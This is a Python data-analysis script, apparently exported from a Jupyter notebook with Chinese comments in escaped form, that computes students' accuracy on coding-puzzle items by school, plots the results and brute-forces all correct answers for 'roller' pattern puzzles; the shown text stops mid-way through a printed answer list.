\u4e3a\u4e86\u6392\u7248\u6574\u6d01\u548c\u5904\u7406\u65b9\u4fbf\uff0c\u4ee5\u53ca\u4fdd\u8bc1\u5de5\u5177\u7684\u53ef\u62d3\u5c55\u6027\uff0c\u8fd9\u91cc\u5c06\u5904\u7406\u5de5\u5177\u5c01\u88c5\u6210`data_analysis`\u7684python\u7c7b\uff0c\u5e76\u5728jupyter\u4e2d\u8c03\u7528\uff0c\u8be5\u7c7b\u5728jupyter notebook\u540c\u6587\u4ef6\u5939\u4e0b\u7684`main.py`\u6587\u4ef6\u4e2d\n\n# %%\n# \u9996\u5148\u5f15\u5165\u9700\u8981\u7684\u7b2c\u4e09\u65b9\u5e93\nimport math\nimport pandas as pd\nimport json \nimport numpy as np\nimport ast\nfrom datetime import datetime\nfrom pandas.core import groupby\nimport plotly.graph_objs as go\nfrom plotly.offline import plot\nimport plotly.offline as offline\nfrom pandas.core.indexes import interval\nimport plotly.figure_factory as ff\npyolt=plot\nimport plotly.express as px\nimport math\nimport re\n\n# %%\n# \u4ecemain.py\u4e2d\u5f15\u7528\u5bf9\u5e94\u7684\u5de5\u5177\nfrom main import data_analysis\n\n# %%\n# \u5c1d\u8bd5\u5c06\u4e0d\u540c\u5b66\u6821\u5206\u5f00\u5206\u6790\ndf_all = pd.read_excel('./data/ticket_user_mianyang.xlsx')  \n#%%\nschool_list = [tup[0] for tup in list(df_all.groupby('school'))][1:]                    # \u8fd9\u91cc\u4eceindex=1\u5f00\u59cb\u5411\u540e\u53d6\u5143\u7d20\u662f\u4e3a\u4e86\u907f\u5f00demo \ndf_list = [tup[1].reset_index(drop=True) for tup in list(df_all.groupby('school'))][1:] # \u6ce8\u610f\u5c06index\u91cd\u7f6e\ndf_entity_list = [data_analysis(df = df, name = school_list[i]) for i, df in enumerate(df_list)]\n\n# %%\n# \u8ba1\u7b97\u6b63\u786e\u7387\u5e76\u8f93\u51fa\u7ed3\u679c\u5230output\nfor df_en in df_entity_list:\n    df_en.calculate_acc()\n    df_en.output()\n\n# %%\n# \u9996\u5148\u5c06excel\u6587\u4ef6\u8bfb\u53d6\u4e3apandas\u7684dataframe\u7c7b\u578b\n# \u7136\u540e\u5c06\u8be5dataframe\u4f5c\u4e3a\u53c2\u6570\u4ee5\u521d\u59cb\u5316\u5bf9\u5e94\u7684\u6570\u636e\u5904\u7406\u5de5\u5177\uff0c\u8fd9\u91cc\u6ca1\u6709\u5bf9excel\u6587\u4ef6\u8fdb\u884c\u9884\u5904\u7406\uff0c\n#   \u8d85\u65f6\u6570\u636e\u5df2\u7ecf\u5220\u9664\uff0c\u4f46\u662f\u5e76\u6ca1\u6709\u5bf9\u4e0d\u540c\u5b66\u6821\u8fdb\u884c\u5b66\u751f\u5206\u7c7b\uff0c\u6240\u4ee5\u547d\u540d\u4e3a'df_all'\n# df_all = pd.read_excel('./data/ticket_user_mianyang.xlsx')  \n# dataframe\u5e76\u4e0d\u76f4\u63a5\u5bf9\u5176\u8fdb\u884c\u5904\u7406\uff0c\u800c\u662f\u4f5c\u4e3a\u53c2\u6570\u521d\u59cb\u5316\u4e00\u4e2a\u7c7b\u7684\u5b9e\u4f53\uff0c\u8fd9\u6837\u7684\u597d\u5904\u662f\u53ef\u4ee5\u907f\u514d\u5927\u91cf\u7684\u4ee3\u7801\u5197\u4f59\n#    \u5728\u5bf9\u4e0d\u540c\u5b66\u6821\u548c\u4e0d\u540c\u6570\u636e\u884c\u8fdb\u884c\u5206\u7c7b\u540e\u5904\u7406\u65f6\uff0c\u53ea\u9700\u8981\u989d\u5916\u751f\u6210\u65b0\u7684\u7c7b\u7684\u5b9e\u4f53\u5373\u53ef\n#    \u5728\u8fd9\u91cc\u5bf9\u5e94\u6240\u6709\u6570\u636e\u884c\u76f4\u63a5\u751f\u6210\u4e00\u4e2a\u5b9e\u4f53\uff0c\u547d\u540d\u4e3a'df_all_entity'\n#    \u6ce8\u610f\u5728\u53c2\u6570\u91cc\u6709\u4e00\u4e2a\u547d\u540d\u4e3a'name'\u7684\u53c2\u6570\uff0c\u8fd9\u91cc\u662f\u65b9\u4fbf\u5728\u8c03\u8bd5\u8fc7\u7a0b\u4e2d\u5feb\u901f\u5224\u65ad\u51fa\u95ee\u9898\u7684\u662f\u54ea\u4e2adataframe\ndf_all_entity =  data_analysis(df = df_all, name = 'all')\n# \u8be5\u6b65\u9aa4\u8fd0\u884c\u65f6\u95f4\u8f83\u957f\uff0c\u572832\u79d2\u5de6\u53f3\n\n\n# %%\n# ## \u6bcf\u9053\u9898\u7684\u7f16\u7801\u79cd\u7c7b\u548c\u6b63\u786e\u7387\u5206\u6790\nprint(\"\u9898\u76ee\u4e2a\u6570\u4e3a\uff1a\",len(df_all_entity.count_df_list))\nprint(\"\u53c2\u4e0e\u7b54\u9898\u603b\u6b21\u6570\uff1a\",df_all_entity.row_num)\n\naccuracy_list, addition_list = df_all_entity.calculate_acc()\nprob_name_list = ['\u5c0f\u677e\u9f20\u8df3\u67f1\u5b50\uff081\uff09','\u5c0f\u677e\u9f20\u8df3\u67f1\u5b50\uff082\uff09','\u586b\u5145\u5c0f\u77f3\u5b50\uff081\uff09','\u586b\u5145\u5c0f\u77f3\u5b50\uff082\uff09','\u5d4c\u5957\u7684\u77e9\u5f62\uff081\uff09','\u5d4c\u5957\u7684\u77e9\u5f62\uff082\uff09','\u6a21\u5f0f\u7684\u590d\u5236\uff081\uff09','\u6a21\u5f0f\u7684\u590d\u5236\uff082\uff09','\u6d47\u82b1\uff081\uff09','\u6d47\u82b1\uff082\uff09','\u5bc6\u7801\uff081\uff09','\u5bc6\u7801\uff082\uff09','4\u8fdb\u5236\u7f16\u7801\uff081\uff09','4\u8fdb\u5236\u7f16\u7801\uff082\uff09','\u4f9b\u6c34\u7cfb\u7edf\uff081\uff09','\u4f9b\u6c34\u7cfb\u7edf\uff082\uff09', '\u5bf9\u5e94\u7684\u5f62\u72b6\uff081\uff09','\u5bf9\u5e94\u7684\u5f62\u72b6\uff082\uff09','\u6eda\u7b52\uff081\uff09']\ndis_list = [(prob_name_list[i], acc) for i, acc in enumerate(accuracy_list)]\ndis_list\n\nprint('calculate done')\n\n# %%\n# \u5224\u65ad\u6bcf\u4e00\u884c\u4e2d22\u4e2a\u9898\u76ee\u662f\u5426\u6b63\u786e\n\ndef judge_all_data(df_all_entity, data_all, addition_list):\n    columns_list = []\n    for i, data in enumerate(data_all):\n        data = df_all_entity.content_to_str(data)\n        if i in [0,1,2,3]:\n            if data in addition_list[i].index:\n                columns_list.append(data)\n                columns_list.append(addition_list[i].loc[data, 'success'])\n            else:\n                columns_list.append(data)\n                columns_list.append('0')\n        elif i in [5,6,7,8,18,19]:\n            if data in addition_list[i-1].index:\n                columns_list.append(data)\n                columns_list.append(addition_list[i-1].loc[data, 'success'])\n            else:\n                columns_list.append(data)\n                columns_list.append('0')\n        elif i in [9]:\n            list_temp = ast.literal_eval(data)\n            if list_temp!=None and len(list_temp)==2 and type(list_temp[0])==str:\n                if list_temp[0][0:2] > list_temp[0][-2:]:\n                    list_temp[0] = list_temp[0][-2:] + '_' + list_temp[0][0:2]\n                if list_temp[1][0:2] > list_temp[1][-2:]:\n                    list_temp[1] = list_temp[1][-2:] + '_' + list_temp[1][0:2]\n                if list_temp[0] > list_temp[1]:\n                    list_temp =  str([list_temp[1], list_temp[0]])\n                else:\n                    list_temp =  str(list_temp)\n            else:\n                list_temp =  str(list_temp)\n\n            columns_list.append(list_temp)\n            if list_temp in addition_list[8].index:\n                columns_list.append(addition_list[8].loc[list_temp, 'success'])\n            else:\n                columns_list.append('0')\n            \n        elif i in [10]:\n            list_temp = ast.literal_eval(data)\n            if type(list_temp)==list and len(list_temp)>=1 and type(list_temp[0]) == str:\n                list_temp = [[int(rebuild_i) for rebuild_i in re.findall(r\"\\d+\", str(rebuild))] for rebuild in list_temp]\n                for list_mem in list_temp:\n                    list_mem.sort()\n                list_temp.sort()\n                list_temp = str([str(list_str[0]) + '_' + str(list_str[1]) for list_str in list_temp])\n                \n            else:\n                list_temp =  str(list_temp)\n            columns_list.append(list_temp)\n            if list_temp in addition_list[9].index:\n                columns_list.append(addition_list[9].loc[list_temp, 'success'])\n            else:\n                columns_list.append('0')\n            # columns_list.append(addition_list[i-1].loc[df_all_entity.content_to_str(data_all[i]), 'success'])\n        elif i in [11]:\n            list_temp = ast.literal_eval(data)\n            if list_temp!=None:\n                list_temp = \"\".join(re.findall(r\"\\d+\", str(list_temp)))\n            else:\n                list_temp =  ''\n            columns_list.append(list_temp)\n            if list_temp in addition_list[10].index:\n                columns_list.append(addition_list[10].loc[list_temp, 'success'])\n            else:\n                columns_list.append('0')\n            # columns_list.append(addition_list[i-1].loc[df_all_entity.content_to_str(data_all[i]), 'success'])\n        elif i in [12]:\n            list_temp = ast.literal_eval(data)\n            if list_temp!=None:\n                list_temp = \"\".join(re.findall(r\"\\d+\", str(list_temp)))\n            else:\n                list_temp =  ''\n\n            columns_list.append(list_temp)\n            if list_temp in addition_list[11].index:\n                columns_list.append(addition_list[11].loc[list_temp, 'success'])\n            else:\n                columns_list.append('0')\n            # columns_list.append(addition_list[i-1].loc[df_all_entity.content_to_str(data_all[i]), 'success'])\n        elif i in [13]:\n            list_temp = ast.literal_eval(data)\n            if list_temp!=None:\n                list_temp = \"\".join(re.findall(r\"\\d+\", str(list_temp)))\n            else:\n                list_temp = ''\n            columns_list.append(list_temp)\n            if list_temp in addition_list[12].index:\n                columns_list.append(addition_list[12].loc[list_temp, 'success'])\n            else:\n                columns_list.append('0')\n            # columns_list.append(addition_list[i-1].loc[df_all_entity.content_to_str(data_all[i]), 'success'])\n        elif i in [14]:\n            list_temp = ast.literal_eval(data)\n            if list_temp!=None:\n                list_temp = \"\".join(re.findall(r\"\\d+\", str(list_temp)))\n            else:\n                list_temp = ''\n            columns_list.append(list_temp)\n            if list_temp in addition_list[13].index:\n                columns_list.append(addition_list[13].loc[list_temp, 'success'])\n            else:\n                columns_list.append('0')\n            # columns_list.append(addition_list[i-1].loc[df_all_entity.content_to_str(data_all[i]), 'success'])\n        elif i in [15]:\n            list_temp = ast.literal_eval(data)\n            if list_temp!=None:\n                list_temp = \"\".join(re.findall(r\"\\d+\", str(list_temp)))\n            else:\n                list_temp = ''\n            columns_list.append(list_temp)\n            if list_temp in addition_list[14].index:\n                columns_list.append(addition_list[14].loc[list_temp, 'success'])\n            else:\n                columns_list.append('0')\n            # columns_list.append(addition_list[i-1].loc[df_all_entity.content_to_str(data_all[i]), 'success'])\n        elif i in [16]:\n            list_temp = ast.literal_eval(data)\n\n            if list_temp!=None:\n                list_temp = \"\".join(re.findall(r\"\\d+\", str(list_temp)))\n            else:\n                list_temp = ''\n            columns_list.append(list_temp)\n            if list_temp in addition_list[15].index:\n                columns_list.append(addition_list[15].loc[list_temp, 'success'])\n            else:\n                columns_list.append('0')\n            # columns_list.append(addition_list[i-1].loc[df_all_entity.content_to_str(data_all[i]), 'success'])\n        elif i in [17]:\n            list_temp = ast.literal_eval(data)\n            if list_temp!=None:\n                list_temp = \"\".join(re.findall(r\"\\d+\", str(list_temp)))\n            else:\n                list_temp = ''\n            columns_list.append(list_temp)\n            if list_temp in addition_list[16].index:\n                columns_list.append(addition_list[16].loc[list_temp, 'success'])\n            else:\n                columns_list.append('0')\n            # columns_list.append(addition_list[i-1].loc[df_all_entity.content_to_str(data_all[i]), 'success'])\n        \n        elif i in [4,20,21]:\n            columns_list.append(data)\n            columns_list.append('unknow')\n        \n    return columns_list\n\ndf_column_prob_index = df_all_entity.df.index\n\ndf_column_prob_columns = []\nfor pro in range(22):\n    df_column_prob_columns.append(str(pro))\n    df_column_prob_columns.append('success_'+str(pro))\n\nfor df in addition_list:\n    if 'list' in df.columns and 'success' in df.columns:\n        for row in df.index:\n            df._set_value(row,'list', str(df.loc[row, 'list']))\n        df.set_index('list', inplace = True)\n\ndf_column_prob_data = []\nfor row in df_all_entity.df.index:\n    data_all = df_all_entity.df.loc[row, 'ans']\n    if len(data_all) == 22:\n        df_column_prob_data.append(judge_all_data(df_all_entity, data_all, addition_list))\n    else:\n        df_column_prob_data.append(['None']*44)\n# for row in df_all_entity.df.index:\n#%%\ndf_column_prob = pd.DataFrame(index=df_all_entity.df.index, columns=df_column_prob_columns, data=df_column_prob_data)\ndf_column_prob.to_excel('./output/\u5355\u4e2a\u5b66\u751f\u9898\u76ee\u6b63\u786e\u7edf\u8ba1.xlsx')\ndf_all_entity.df.to_excel('./output/\u5355\u4e2a\u5b66\u751f\u9898\u76ee\u6b63\u786e\u7edf\u8ba1\uff08\u5b66\u751f\u9644\u52a0\u4fe1\u606f\uff0c\u4e8c\u8005index\u76f8\u540c\uff09.xlsx')\npd.concat([df_all_entity.df, df_column_prob], axis=1).to_excel('./output/\u5355\u4e2a\u5b66\u751f\u9898\u76ee\u6b63\u786e\u7edf\u8ba1(\u5408\u5e76).xlsx')\n#%%\n# \u4f5c\u7b54\u65f6\u95f4\u5206\u6790\uff0c\u5728\u539f\u6570\u636e\u4e0a\u589e\u52a0'interval'\uff08\u505a\u9898\u65f6\u95f4\uff09\u3001'day'\u3001'hour_start'\u3001'hour_end'\ndata1 = list(df_all_entity.df.loc[:, 'start_time_float'])\nlayout={\"title\": \"\u5b66\u751f\u7528\u65f6\u5206\u5e03\", \n                                       \"xaxis_title\": \"\u65f6\u95f4\uff0824\u5c0f\u65f6\u5236\uff09\",\n                                       \"yaxis_title\": \"\u5b66\u751f\u4e2a\u6570\",\n                                       # x\u8f74\u5750\u6807\u503e\u659c60\u5ea6\n                                       \"xaxis\": {\"tickangle\": 60}\n                                      }\n\n#\u6570\u636e\u7ec4\nhist_data=[data1]\n\ngroup_labels=['\u505a\u9898\u65f6\u95f4\u5206\u5e03']\nimport plotly.figure_factory as ff\nfig=ff.create_distplot(hist_data,group_labels,bin_size=1,histnorm = 'probability')\nfig['layout'].update(xaxis = dict(range = [0,24]))\nplot(fig,filename='./plot/\u6bcf\u5c0f\u65f6\u56de\u7b54\u4eba\u6570\u7edf\u8ba1.html')\n\nhour_list = list(range(24))\nhour_count_list = []\nfor hour in hour_list:\n    hour_count_seq = df_all_entity.df.sort_values('start_hour').groupby('start_hour')['start_hour'].count()\n    if hour not in list(hour_count_seq.index):\n        hour_count_list.append(0)\n    else:\n        hour_count_list.append(hour_count_seq.loc[hour])\n\npd.DataFrame(index = hour_list, columns=['count'], data = hour_count_list).to_excel('./plot/\u6bcf\u5c0f\u65f6\u56de\u7b54\u4eba\u6570\u7edf\u8ba1.xlsx')\n\n\n# %%\n# \u6b63\u786e\u7387\u548c\u7f16\u7801\u4e2a\u6570\u7ed8\u56fe\n## \u6b63\u786e\u7684\u7f16\u7801\u4e2a\u6570\ndata1 = go.Bar(x = prob_name_list, y = [len(group.groupby('success').get_group('1')) if '1' in group.groupby('success').groups.keys() else 0 for group in df_all_entity.addition_list], name = '\u56de\u7b54\u4e2d\u6b63\u786e\u7f16\u7801\u7684\u4e2a\u6570')\n\n## \u9519\u8bef\u7f16\u7801\u7684\u4e2a\u6570\ndata2 = go.Bar(x = prob_name_list, y = [len(group.groupby('success').get_group('0')) if '0' in group.groupby('success').groups.keys() else 0 for group in df_all_entity.addition_list], name = '\u56de\u7b54\u4e2d\u9519\u8bef\u7f16\u7801\u7684\u4e2a\u6570')\n\n## \u56de\u7b54\u6b63\u786e\u7387\ndata3 = go.Bar(x = prob_name_list, y = accuracy_list, name = '\u56de\u7b54\u6b63\u786e\u7387')\n\nsuccess_count = []\nfor df in addition_list:\n    if 'success' in df.columns:\n        if '1' in df.groupby('success').groups.keys():\n            success_count.append(df.groupby('success').get_group('1')['count'].sum())\n        else:\n            success_count.append(0)\n\nlayout={\"title\": \"\u4e0d\u540c\u9898\u76ee\u7684\u7f16\u7801\u6570\u91cf\u548c\u6b63\u786e\u7387\", \n       \"xaxis_title\": \"\u9898\u76ee\u7f16\u53f7\",\n       \"yaxis_title\": \"\u7f16\u7801\u4e2a\u6570\",\n       # x\u8f74\u5750\u6807\u503e\u659c60\u5ea6\n       \"xaxis\": {\"tickangle\": 60}\n      }\nfrom plotly.subplots import make_subplots\nfig = make_subplots(rows=3, cols=1)\nfig.append_trace(data1, row = 1, col = 1)\nfig.append_trace(data2, row = 2, col = 1)\nfig.append_trace(data3, row = 3, col = 1)\n\n# fig = go.Figure(data=[data1, data2, data3],layout=layout)\nplot(fig,filename=\"./plot/\u4e0d\u540c\u9898\u76ee\u7684\u7f16\u7801\u6570\u91cf\u548c\u6b63\u786e\u7387.html\",auto_open=False,image='png',image_height=800,image_width=1500)\npd_list = []\nfor i, row in enumerate(data1.y):\n    pd_list.append([data1.y[i], data2.y[i], data3.y[i], success_count[i]])\n\npd.DataFrame(index=prob_name_list, columns=[data1.name, data2.name, data3.name, 'success_count'], data= pd_list).to_excel('./plot/\u4e0d\u540c\u9898\u76ee\u7684\u7f16\u7801\u6570\u91cf\u548c\u6b63\u786e\u7387.xlsx')\n\n#%%\n\ndata1 = go.Bar(x = school_list, y = [np.mean(df.accuracy_list) for df in df_entity_list], name = '\u5404\u4e2a\u5b66\u6821\u7684\u5e73\u5747\u6b63\u786e\u7387')\ndata2 = go.Bar(x = school_list, y = [df.row_num for df in df_entity_list], name = '\u5404\u4e2a\u5b66\u6821\u7684\u53c2\u52a0\u4eba\u6570')\nlayout={\"title\": \"\u5404\u4e2a\u5b66\u6821\u7684\u5e73\u5747\u6b63\u786e\u7387\", \n       \"xaxis_title\": \"\u5b66\u6821\u540d\u79f0\",\n       \"yaxis_title\": \"\u6b63\u786e\u7387\",\n       # x\u8f74\u5750\u6807\u503e\u659c60\u5ea6\n       \"xaxis\": {\"tickangle\": 60}\n      }\nfrom plotly.subplots import make_subplots\nfig = make_subplots(rows=2, cols=1)\nfig.append_trace(data1, row = 1, col = 1)\nfig.append_trace(data2, row = 2, col = 1)\n\nplot(fig,filename=\"./plot/\u5404\u4e2a\u5b66\u6821\u7684\u5e73\u5747\u6b63\u786e\u7387\u548c\u53c2\u52a0\u4eba\u6570.html\",auto_open=False,image='png',image_height=800,image_width=1500)\npd_list = []\nfor i, row in enumerate(data1.y):\n    pd_list.append([data1.y[i], data2.y[i]])\npd.DataFrame(index=school_list, columns=[data1.name, data2.name], data= pd_list).to_excel('./plot/\u5404\u4e2a\u5b66\u6821\u7684\u5e73\u5747\u6b63\u786e\u7387\u548c\u53c2\u52a0\u4eba\u6570.xlsx')\n# %% [markdown]\n# # \u6b63\u786e\u7b54\u6848\u7f16\u7801\n# %%\n# \u6a21\u62df\u7b2c19\u9898\u7684\u7b54\u6848\u7f16\u7801\uff0c\u904d\u5386\u6240\u6709\u7b54\u6848\n# \u6240\u6709\u53ef\u80fd\u7684\u4e94\u89d2\u661f\uff080,a\uff09\u548c\u4e09\u89d2\u5f62\uff081,b\uff09\u7ec4\u5408\nseq_list = []\nfor i in range(8):\n    for j in range(int(math.pow(2,i+1))):\n        temp=str(bin(j))[2:].zfill(i+1).replace('0','a')\n        temp = temp.replace('1', 'b')\n        seq_list.append(temp)\n# \u6240\u6709\u53ef\u80fd\u7684\u957f\u65b9\u5f62\uff081\uff09\u548c\u5706\u5f62\uff080\uff09\u7ec4\u5408\ntrans_list = []\nfor i in range(3):\n    for j in range(int(math.pow(2,i+1))):\n        trans_list.append(str(bin(j))[2:].zfill(i+1))\n# \u6b63\u786e\u5e8f\u5217 \nverify_str = '10100010010'\nright_ans = []\ncnt = 0\nfor seq in seq_list:\n    for star in trans_list:\n        for trian in trans_list:\n            cnt +=1\n            if seq.replace('a', star).replace('b', trian) == verify_str:\n                right_ans.append([seq.replace('a','0').replace('b','1'), star, trian])\nright_ans\n# %%\n# \u6a21\u62df\u6eda\u7b52\uff082\uff09\u7684\u8fc7\u7a0b\uff0c\u904d\u5386\u6240\u6709\u7684\u7b54\u6848\n# \nimport math\ndef roll_one_time(first_dic, second_dic, verify_list):\n    max_length = len(verify_list)\n    line_list = [-1] * max_length\n    # first roll\n    for i in range(first_dic['start'], first_dic['end']+1):\n        line_list[i] = first_dic['color_list'][i % len(first_dic['color_list'])]\n\n    # second roll\n    for i in range(second_dic['start'], second_dic['end']+1):\n        line_list[i] = second_dic['color_list'][i % len(second_dic['color_list'])]\n    \n    is_right = True\n    for i, c in enumerate(line_list):\n        if c != verify_list[i]:\n            is_right = False\n            break\n    if is_right:\n        return is_right, [first_dic, second_dic]\n    else:\n        return is_right, []\n\n\ndef traverse_color(min_roll_length = 2, max_roll_length = 5, colors = [0,1,2]):\n    color_lists = []\n    for i in range(min_roll_length, max_roll_length+1):\n        for j in range(int(math.pow(len(colors), i))):\n            tmp_list = []\n            for k in range(i):\n                tmp_list.insert(0, colors[j % len(colors)]) \n                j = j // len(colors)\n            color_lists.append(tmp_list)\n    return color_lists\n\ndef traverse_position(start_bound = 0, end_bound = 15):\n    position_list = []\n    start_list = range(start_bound,end_bound+1)\n    end_list = range(start_bound,end_bound+1)\n    for s in start_list:\n        for e in end_list:\n            if e>s:\n                position_list.append((s, e))\n    return position_list\n\ndef traverse_roll(min_roll_length = 2, max_roll_length = 5, colors = [0,1,2], start_bound = 0, end_bound = 15):\n    roll_dic_list = []\n    for cl in traverse_color(min_roll_length, max_roll_length, colors):\n        for p in traverse_position(start_bound, end_bound):\n            if p[1]-p[0]+1>=len(cl):\n                tmp_dic = {'color_list':[], 'start':0, 'end':0}\n                tmp_dic['color_list']=cl\n                tmp_dic['start'] = p[0]\n                tmp_dic['end'] = p[1]\n                roll_dic_list.append(tmp_dic)\n    return roll_dic_list\n\n# %%\n# search from bottom to top\n\nposible_roll = traverse_roll()\nlen(posible_roll)\n\n# %%\nposible_colors = traverse_color()\nlen(posible_colors)\n\n# %%\nposible_position = traverse_position()\nlen(posible_position)\n# %%\n# \u4ece\u6700\u540e\u4e00\u6b21\u6eda\u7b52\u5f00\u59cb\u627e\u8d77\uff08\u7b2c\u4e8c\u6b21\uff09\nverify_list = [0, 1, 0, 1, 2, 2, 0, 1, 1, 2, 2, 0, 1, 1, 0, 1]\nline_list = [-1]*len(verify_list)\n\nposible_roll2_list = []\nfor roll2 in posible_roll:\n    \n    roll2_is_posible = True\n    for index in range(roll2['start'], roll2['end']+1):\n        if roll2['color_list'][((index-roll2['start']) % len(roll2['color_list']))] != verify_list[index]:\n            roll2_is_posible = False\n    if roll2_is_posible:\n        posible_roll2_list.append(roll2)\nlen(posible_roll2_list)\n\n# %%\n# \u6839\u636e\u6240\u6709\u53ef\u80fd\u7684roll2\u5bfb\u627eroll1\nposible_roll1_roll2 = []\ncnt = 0\nfor roll2 in posible_roll2_list:\n    print(cnt)\n    cnt += 1\n    flag_list = [-1]*len(verify_list)\n    for index2 in range(roll2['start'], roll2['end']+1):\n        flag_list[index2] = -2\n    for roll1 in posible_roll:\n        flag_list_ = [i for i in flag_list]\n\n        roll1_is_posible = True\n        for index1 in range(roll1['start'], roll1['end']+1):\n            if flag_list_[index1] == -1:\n                flag_list_[index1] = -3\n        if -1 in flag_list_:\n            roll1_is_posible = False\n            continue\n\n        for index1 in range(roll1['start'], roll1['end']+1):\n            if roll1['color_list'][((index1-roll1['start']) % len(roll1['color_list']))] != verify_list[index1] and flag_list_[index1] == -3:\n                roll1_is_posible = False\n                break\n        if roll1_is_posible:\n            posible_roll1_roll2.append((roll1, roll2))\n\n\n# %%\nlen(posible_roll1_roll2)\n# %%\nposible_roll1_roll2\n# %% [markdown]\n# \u6240\u6709\u53ef\u80fd\u7684\u7b54\u6848\uff1a\n'''python\nposible_roll1_roll2\n[({'color_list': [0, 1], 'start': 0, 'end': 15},\n  {'color_list': [1, 2, 2, 0, 1], 'start': 3, 'end': 12}),\n ({'color_list': [0, 1, 0, 1], 'start': 0, 'end': 15},\n  {'color_list': [1, 2, 2, 0, 1], 'start': 3, 'end': 12}),\n ({'color_list': [0, 1], 'start': 0, 'end': 15},\n  {'color_list': [1, 2, 2, 0, 1], 'start': 3, 'end': 13}),\n ({'color_list': [0, 1, 0, 1], 'start': 0, 'end': 15},\n  {'color_list': [1, 2, 2, 0, 1], 'start': 3, 'end': 13}),\n ({'color_list': [0, 1], 'start': 0, 'end': 15},\n  {'color_list': [2, 2, 0, 1, 1], 'start': 4, 'end': 12}),\n ({'color_list': [0, 1, 0, 1], 'start': 0, 'end': 15},\n  {'color_list': [2, 2, 0, 1, 1], 'start': 4, 'end': 12}),\n ({'color_list': [0, 1], 'start': 0, 'end': 15},\n  {'color_list': [2, 2, 0, 1, 1], 'start': 4, 'end': 13}),\n ({'color_list': [0, 1, 0, 1], 'start': 0, 'end': 15},\n  {'color_list': [2, 2, 0, 1, 1], 'start': 4, 'end': 13})]\n'''\n\n#%% \n# \u5bf9\u4e8e\u6eda\u7b52\uff083\uff09\uff0c\u904d\u5386\u7684\u8ba1\u7b97\u590d\u6742\u5ea6\u592a\u9ad8\uff0c\u8fd9\u91cc\u53ea\u7ed9\u51fa\u9a8c\u8bc1\u51fd\u6570\ndef verify_roll_3(roll1, roll2, roll3, verify_list = [1,0,1,2,1,0,2,2,1,2,0,1,2,0,2,2,1,0,2,0]):\n    flag_list = [-1]*len(verify_list)\n    for index3 in range(roll3['start'], roll3['end']+1):\n        if verify_list[index3] != roll3['color_list'][((index3-roll3['start']) % len(roll3['color_list']))]:\n            return False\n        flag_list[index3] = '3'\n    \n    for index2 in range(roll2['start'], roll2['end']+1):\n        if flag_list[index2] == -1:\n            if verify_list[index2] != roll2['color_list'][((index2-roll2['start']) % len(roll2['color_list']))]:\n                return False\n            flag_list[index2] = '2'\n    \n    for index1 in range(roll1['start'], roll1['end']+1):\n        if flag_list[index1] == -1:\n            if verify_list[index1] != roll1['color_list'][((index1-roll1['start']) % len(roll1['color_list']))]:\n                return False\n            flag_list[index1] = '1'\n    \n    if -1 in flag_list:\n        return False\n    else:\n        return True\n\n#%%\nposible_roll = traverse_roll(min_roll_length = 2, max_roll_length = 4, colors = [0,1,2], start_bound = 0, end_bound = 19)\nlen(posible_roll)\n\n#%%\n# \u4ece\u6700\u540e\u4e00\u6b21\u6eda\u7b52\u5f00\u59cb\u627e\u8d77\uff08\u7b2c\u4e09\u6b21\uff09\nverify_list = [1,0,1,2,1,0,2,2,1,2,0,1,2,0,2,2,1,0,2,0]\nline_list = [-1]*len(verify_list)\n\nposible_roll3_list = []\nfor roll3 in posible_roll:\n    \n    roll3_is_posible = True\n    for index in range(roll3['start'], roll3['end']+1):\n        if roll3['color_list'][((index-roll3['start']) % len(roll3['color_list']))] != verify_list[index]:\n            roll3_is_posible = False\n    if roll3_is_posible:\n        posible_roll3_list.append(roll3)\nlen(posible_roll3_list)\n\n#%%\n# \u6839\u636e\u6240\u6709\u53ef\u80fd\u7684roll3\u5bfb\u627eroll2\nposible_roll2_roll3 = []\ncnt = 0\nfor roll3 in posible_roll3_list:\n    print(cnt)\n    cnt += 1\n    flag_list = [-1]*len(verify_list)\n    for index3 in range(roll3['start'], roll3['end']+1):\n        flag_list[index3] = '3'\n    for roll2 in posible_roll:\n        flag_list_ = [i for i in flag_list]\n\n        roll2_is_posible = True\n\n        # if roll2['start']>=roll3['start'] and roll2['end']<=roll3['end']:\n        #     roll2_is_posible = False\n        #     continue\n\n        for index2 in range(roll2['start'], roll2['end']+1):\n            if flag_list_[index2] == -1 and roll2['color_list'][(index2-roll2['start']) % len(roll2['color_list'])] != verify_list[index2]:\n                roll2_is_posible = False\n                break\n\n        if roll2_is_posible:\n            posible_roll2_roll3.append((roll2, roll3))\n\n# %%\nlen(posible_roll2_roll3)\n# %%\nverify_list = [1,0,1,2,1,0,2,2,1,2,0,1,2,0,2,2,1,0,2,0]\nall_right_ans=[]\ncnt = 0\nfor roll23 in posible_roll2_roll3:\n    print(cnt,len(all_right_ans))\n    cnt+=1\n    for roll1 in posible_roll:\n        if min([roll1['start'], roll23[0]['start'], roll23[1]['start']])!=0 or max([roll1['end'], roll23[0]['end'], roll23[1]['end']])!=len(verify_list)-1:\n            continue\n        if verify_roll_3(roll1, roll23[0], roll23[1], verify_list):\n            all_right_ans.append((roll1, roll23[0], roll23[1]))\n\n# %%\nlen(all_right_ans)\n# %%\nall_right_ans\n# %% [markdown]\n## \u5171\u670915\u79cd\u6b63\u786e\u7b54\u6848\n'''python\n[({'color_list': [1, 0], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [1, 2, 0], 'start': 8, 'end': 12}),\n ({'color_list': [1, 0, 1], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [1, 2, 0], 'start': 8, 'end': 12}),\n ({'color_list': [1, 0, 1, 0], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [1, 2, 0], 'start': 8, 'end': 12}),\n ({'color_list': [1, 0], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [1, 2, 0], 'start': 8, 'end': 13}),\n ({'color_list': [1, 0, 1], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [1, 2, 0], 'start': 8, 'end': 13}),\n ({'color_list': [1, 0, 1, 0], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [1, 2, 0], 'start': 8, 'end': 13}),\n ({'color_list': [1, 0], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 'start': 3, 'end': 18},\n  {'color_list': [2, 0, 1], 'start': 9, 'end': 12}),\n ({'color_list': [1, 0, 1], 'start': 0, 'end': 19},\n  {'color_list': [2, 1, 0, 2], 